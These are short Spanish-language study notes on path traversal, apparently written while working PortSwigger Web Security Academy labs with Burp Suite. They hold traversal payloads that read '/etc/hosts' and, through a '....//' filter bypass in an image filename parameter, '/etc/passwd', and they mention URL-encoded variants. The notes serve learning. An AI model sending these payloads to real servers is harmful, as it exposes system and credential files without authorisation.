Que es?

¿Qué es path traversal? | KeepCoding Bootcamps

Laboratorio:

What is path traversal, and how to prevent it? | Web Security Academy

Requisitos:

• Tener burpsuite:
• Estar vivo

Primer ejercicio

3 FORMAS DE ATACAR AL PATH TRAVERSAL (LABS BURPSUIE)

../../../../../../etc/hosts etc/hosts

GET /image?filename=....//....//....//....//....//....//etc/passwd

INYECCION ATRAVES DE CONSULTA ENCODEADA

USANDO ENCODER DE BURPSUITE